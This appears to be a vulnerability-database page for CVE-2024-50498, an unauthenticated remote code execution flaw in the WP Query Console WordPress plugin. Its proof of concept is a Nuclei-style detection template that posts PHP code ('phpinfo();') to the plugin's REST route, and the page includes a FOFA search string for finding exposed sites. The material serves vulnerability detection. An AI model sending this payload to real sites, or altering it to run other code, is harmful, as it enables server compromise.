CVE-2024-50498: WP Query Console <= 1.0 - Remote Code Execution

2025-08-01 WP Query Console PoC Public

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.

PoC

id: CVE-2024-50498

info:
  name: WP Query Console <= 1.0 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50498.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-50498
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-query-console/wp-query-console-10-unauthenticated-remote-code-execution
    - https://patchstack.com/database/vulnerability/wp-query-console/wordpress-wp-query-console-plugin-1-0-remote-code-execution-rce-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50498
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-50498
    cwe-id: CWE-94
    epss-score: 0.52905
    epss-percentile: 0.98916
    cpe: cpe:2.3:a:lubus:wp_query_console:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lubus
    product: wp_query_console
    framework: wordpress
    fofa-query: body="wp-content/plugins/wp-query-console/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-query-console,rce,vkev,vuln

http:
  - raw:
      - |
        POST /index.php?rest_route=/wqc/v1/query HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"queryArgs":"phpinfo();","queryType":"post"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PHP Extension", "PHP Version")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502210091cc2391fde416ed96c0075f1df61fd11f0052378b1ed61222fa01e2cffd31cd022026dceeb7cc86d5115443697694b02040ed4bb3bfb6f7a24238d565f41098d499:922c64590222798bb761d5b6d8e72950

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